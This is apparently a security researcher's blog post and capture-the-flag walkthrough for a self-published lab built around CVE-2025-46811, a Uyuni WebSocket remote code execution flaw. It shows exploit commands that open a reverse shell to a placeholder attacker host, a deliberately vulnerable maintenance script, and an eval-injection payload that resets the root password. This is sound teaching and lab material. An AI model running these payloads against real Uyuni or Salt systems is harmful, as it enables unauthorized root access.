CVE-2025-46811: I got rejected on Hack-The-Box, thus I published Challenge on my own

A security challenge environment for CVE-2025-46811 vulnerability research.

CVE-2025-46811 is an unauthenticated remote code execution vulnerability in Uyuni 2025.05, scored 9.8 (CVSS v3.1): a single request to an unauthenticated WebSocket endpoint runs arbitrary commands on any managed Salt minion. I found it while working at SUSE. It was patched quickly, but the exploitation path made a solid hands-on lab, so I built a challenge machine around it and submitted it to Hack The Box. They did not accept it, so I published the challenge and this writeup myself.

The Hack The Box Submission

I chose Hack The Box because I already knew the format from my OSCP preparation (see How I Passed OSCP) and what a submission needs to include. The requirements are well documented:

HTB is a large, active CTF platform with a machine bounty program, so it was a reasonable first choice. I created the CVE-2025-46811-challenge repository with the challenge materials, along with a proof-of-concept exploit later published on ExploitDB. I worked through the roughly thirty-item machine submission checklist (see Machine-Writeup.md) and submitted the box as Wiktor.

HTB submission status, Wiktor (Linux, Medium): Submitted

The review response:

After review, we don’t feel the box introduces anything new to the platform — the techniques and concepts presented have been well covered by existing machines. We’d encourage you to explore fresher attack vectors or more unique scenarios for future submissions. We appreciate the effort!

That is fair. I had not checked closely enough whether WebSocket-based paths were already well represented on the platform, and I had already exceeded the resource limits and requested an exception, so I decided not to appeal and looked at alternatives.

TryHackMe was one option. I am less familiar with it, but rooms there generally pair a writeup with the challenge (see TCM room creation). Its free-tier resource limits would likely not fit a full Uyuni server, a minion, and an admin-traffic simulator. VulnHub had lighter requirements (an OVA file plus a writeup), but the platform has seen little activity in recent years, so that did not appeal either.

I ended up publishing it on my own site. You can try to hack it in my home page terminal. The full writeup and source code are below.

Designing the Challenge

Uyuni is an open-source systems management tool (a downstream of SUSE Manager) built on Salt. It handles package updates, configuration management, and remote command execution across Linux infrastructure. A typical production deployment has a central server, one or more proxies, and many minions. I wanted the challenge environment to match that shape as closely as possible.

Challenge topology: a Uyuni server with an attached shared volume exposing the vulnerable WebSocket endpoint, a leap-minion sharing that volume, a maintenance automation writing log files into it, and a Playwright login simulator authenticating to the server

The challenge runs three containers in the uyuni-network: the Uyuni server, deployed via mgradm and exposing the unauthenticated WebSocket endpoint at /rhn/websocket/minion/remote-commands, a leap-minion registered to it, and a Playwright login simulator that keeps realistic session state on the server.

The server and the minion share a btrfs volume at /srv/shared-data. Every five minutes a systemd timer (uyuni-maintenance.timer) runs maintenance.sh, which calls zypper list-updates on the minion through Salt, writes the output to a log file on the shared volume, then passes the extracted package names unquoted into eval "/usr/bin/salt ... cmd.run 'zypper update --no-confirm $packages'". Controlling the log file content is enough to inject arbitrary commands that run as root on the Uyuni server.

Deployment details, including an Ansible playbook for a reproducible setup, are in the challenge repository.

Writeup

Enumeration

Start with an nmap scan to see what is running on the target:

:~ $ nmap -sC -sV -A <TARGET_IP>

Starting Nmap 7.93 ( https://nmap.org ) at 2026-02-09 20:32 CET
Nmap scan report for <TARGET_IP>
Host is up (0.023s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 6acead025250fddb8d8f798bf3a5183a (ECDSA)
|_  256 8821bbf413f22616655f8703448456f4 (ED25519)
80/tcp   open  http       Apache httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Did not follow redirect to https://<TARGET_IP>/rhn/manager/login
|_http-server-header: Apache
443/tcp  open  ssl/http   Apache httpd
|_http-title: Uyuni - Sign In
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache
| ssl-cert: Subject: commonName=wiktor.local.htb/organizationName=SUSE/stateOrProvinceName=Bayern/countryName=DE
| Subject Alternative Name: DNS:wiktor.local.htb, DNS:wiktor.local.htb
| Not valid before: 2026-02-02T18:08:13
|_Not valid after:  2036-02-07T18:08:13
2222/tcp open  ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 d10493f16a7891abeca9ac57e311ab56 (ECDSA)
|_  256 6a0339a8ea7153c112ad6bc43fd724c8 (ED25519)
5432/tcp open  postgresql PostgreSQL DB 9.6.0 or later
| ssl-cert: Subject: commonName=reportdb.mgr.internal
9100/tcp open  jetdirect?
...
Nmap done: 1 IP address (1 host up) scanned in 19.01 seconds

The SSL certificate reveals the hostname wiktor.local.htb. Add it to /etc/hosts:

:~ $ echo '<TARGET_IP> wiktor.local.htb' | sudo tee -a /etc/hosts

https://wiktor.local.htb shows the Uyuni Sign In page for the 2025.05 release.

No default or guessable credentials work on the login form, so the Uyuni version and its attack surface are the next thing to check.

Searching for known Uyuni 2025.05 vulnerabilities turns up CVE-2025-46811, an unauthenticated remote code execution vulnerability in the WebSocket-based remote command endpoint.

Foothold

You can exploit this manually with websocat, a command-line WebSocket client, or use the Python exploit SUSE Manager 4.3.15 - Code Execution.

The exploit targets the WebSocket endpoint at /rhn/websocket/minion/remote-commands. In Uyuni 2025.05 this endpoint accepts WebSocket upgrade requests without checking session cookies or authentication tokens. Once connected, you can send JSON-formatted command payloads that the server dispatches through Salt’s cmd.run module to any registered minion giving full remote code execution on every managed host in the fleet, with no authentication required.

Install the requirements listed in the script:

:~ $ searchsploit -m 52527
  Exploit: SUSE Manager 4.3.15 - Code Execution
      URL: https://www.exploit-db.com/exploits/52527
     Path: /opt/exploitdb/exploits/multiple/webapps/52527.py
    Codes: CVE-2025-46811
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /opt/52527.py

:~ $ pip install websocket-client==1.9.0

Open a separate terminal and start a Netcat listener to catch the reverse shell:

:~ $ nc -nvlp 9001
Listening on 0.0.0.0 9001

From the previous shell, run the downloaded Python script:

:~ $ python3 /opt/52527.py --ip <TARGET_IP> --port 443 --host-ip <ATTACKER_IP> --host-port 9001 --ssl

Select the minion when prompted:

Available minions:
1) leap-minion
Select minion number (default is '1', or 'c' to cancel): 1
Payload sent, closing.

Back on the listener terminal:

Connection received on <TARGET_IP> 47696
sh: cannot set terminal process group (42): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4#

Confirm identity and retrieve the user flag:

sh-4.4# whoami
whoami
root
sh-4.4# ls /home
ls /home
leap
sh-4.4# cat /home/leap/user.txt
cat /home/leap/user.txt
9e6de85ace9294a1615eaff7fed9ed03

Privilege Escalation

Running LinPEAS, or checking manually, shows we are inside a container:

sh-4.4# cat /proc/1/cgroup
cat /proc/1/cgroup
0::/machine.slice/libpod-92b1df236c29a002ff6437a920bf7d290ac58f406123eaef8af3591e51ba5c1d.scope/init.scope

Two shared mount points are present:

sh-4.4# mount
mount
...
/dev/sda2 on /srv/shared-data type btrfs (ro,nosuid,nodev,relatime,space_cache=v2,subvolid=257,subvol=/@/var)
...
/dev/sda2 on /srv/shared-data/logs type btrfs (rw,nosuid,nodev,relatime,space_cache=v2,subvolid=257,subvol=/@/var)
...

Looking at the shared volume:

sh-4.4# ls /srv/shared-data/
ls /srv/shared-data/
logs
maintenance.sh

sh-4.4# ls /srv/shared-data/logs/
...
maintenance.log
updates_2026-02-09-10-53.log
updates_2026-02-09-10-58.log
updates_2026-02-09-11-03.log
...

The log files are generated every 5 minutes. /srv/shared-data/maintenance.sh shows the following logic:

#!/usr/bin/env bash

minion_maintenance() {
  logfile="/srv/shared-data/logs/updates_$timestamp.log"
  list_of_system_updates=$(
    zypper list-updates \
    | awk -F'|' '$3 ~ /system-/'
  )
  printf "%s\n" "$list_of_system_updates" >> "$logfile"
  sed --in-place "/^[[:space:]]*$/d" "$logfile"

  if [[ -s "$logfile" ]]; then
    awk -F' \| ' '{gsub(/^[ \t]+|[ \t]+$/, "", $3); print $3}' "$logfile" \
    | paste --serial --delimiters " "
  else
    printf "%s\n" "No urgent system updates required." >> "$logfile"
  fi
}

{
  timestamp=$(date +%Y-%m-%d-%H-%M)
  if ! /usr/bin/salt "leap-minion" test.ping --out txt 2>/dev/null | grep -q "True"; then
    echo "leap-minion is booting..."
  else
    packages=$(
      /usr/bin/salt "leap-minion" cmd.run \
        "timestamp=$timestamp; $(declare -f minion_maintenance); minion_maintenance" \
        --out txt \
      | sed --silent "s/^[^:]*:[[:space:]]*//p"
    )
    if [[ -n "${packages:-}" ]]; then
      eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm $packages'"
    else
      echo "No urgent system packages needs to be updated at $timestamp."
    fi
  fi
} >> "/srv/shared-data/logs/maintenance.log" 2>&1

The execution flow:

  1. Salt remotely executes minion_maintenance() on leap-minion.
  2. That function runs zypper list-updates, filters for system-* packages, and writes results to /srv/shared-data/logs/updates_<timestamp>.log.
  3. If the log file has content, it extracts package names from the third pipe-delimited column.
  4. The extracted names are stored in $packages and passed unquoted into an eval statement.

The critical vulnerability is on line 33:

eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm $packages'"

This is a textbook Eval Injection (CWE-95), also described by OWASP as Direct Dynamic Code Evaluation.

zypper list-updates outputs pipe-delimited columns (reference):

S | Repository | Name | Current Version | Available Version | Arch

The script extracts the third column (Name) using awk -F' | ' '{print $3}'. Injecting a command requires a log entry that places the payload in that third column. The payload needs to:

  1. Close the existing single quote in the eval string
  2. Inject the command
  3. Comment out the trailing text
v  | xxx | ' || true && echo root:linux123| chpasswd ## | xxx | xxx | xxx

When parsed by awk, the third column becomes:

' || true && echo root:linux123| chpasswd ##

Substituted into the eval statement, the full command becomes:

eval "/usr/bin/salt 'leap-minion' cmd.run 'zypper update --no-confirm ' || true && echo root:linux123| chpasswd ## '"

This escapes the Salt command and instead runs echo root:linux123 | chpasswd on uyuni-server, changing the root password to linux123.

Lateral Movement (Minion -> Server)

Check the most recent log file to confirm the naming pattern:

sh-4.4# ls -lt /srv/shared-data/logs/updates_*.log | head -1
ls -lt /srv/shared-data/logs/updates_*.log | head -1
-rw-r--r-- 1 root root 35 Feb 9 16:38 updates_2026-02-09-17-38.log

The next file will be updates_2026-02-09-17-43.log (5 minutes later).

Create the log file with the payload before the timer fires:

sh-4.4# echo "v  | xxx | ' || true && echo root:linux123| chpasswd ## | xxx | xxx | xxx" > /srv/shared-data/logs/updates_2026-02-09-17-43.log
...

uyuni-maintenance.timer runs every 5 minutes. Monitor maintenance.log for execution:

sh-4.4# tail -f /srv/shared-data/logs/maintenance.log
...

After the timer fires, the output confirms the injected command was processed:

...
leap-minion:
    Loading repository data...
    Reading installed packages...
    Nothing to do.

This confirms maintenance.sh ran and the payload executed: chpasswd changed the root password on uyuni-server.

The nmap scan showed SSH on port 2222 (the uyuni-server container). Connect with the new credentials:

:~ $ ssh root@<TARGET_IP> -p 2222

(root@<TARGET_IP>) Password: linux123

===============================================================================
!
! This shell operates within a container environment, meaning that not all
! modifications will be permanently saved in volumes.
!
===============================================================================
uyuni-server:~ #

Retrieve the root flag:

uyuni-server:~ # cat /root/root.txt
627fd72f0a31a402d6047955ef1d76ac

Disclaimer

CVE-2025-46811 was patched by SUSE and Uyuni upstream in July 2025. Any production system running a current version is not affected. The credentials in the challenge are challenge-only and do not correspond to any real environment. A proof-of-concept exploit has been public since shortly after the patch, so publishing a challenge around it doesn’t give attackers real advantage. The repository is open and meant for educational use, run it in an isolated lab network.

References


© 2026 Wiktor Maj. All Rights Reserved.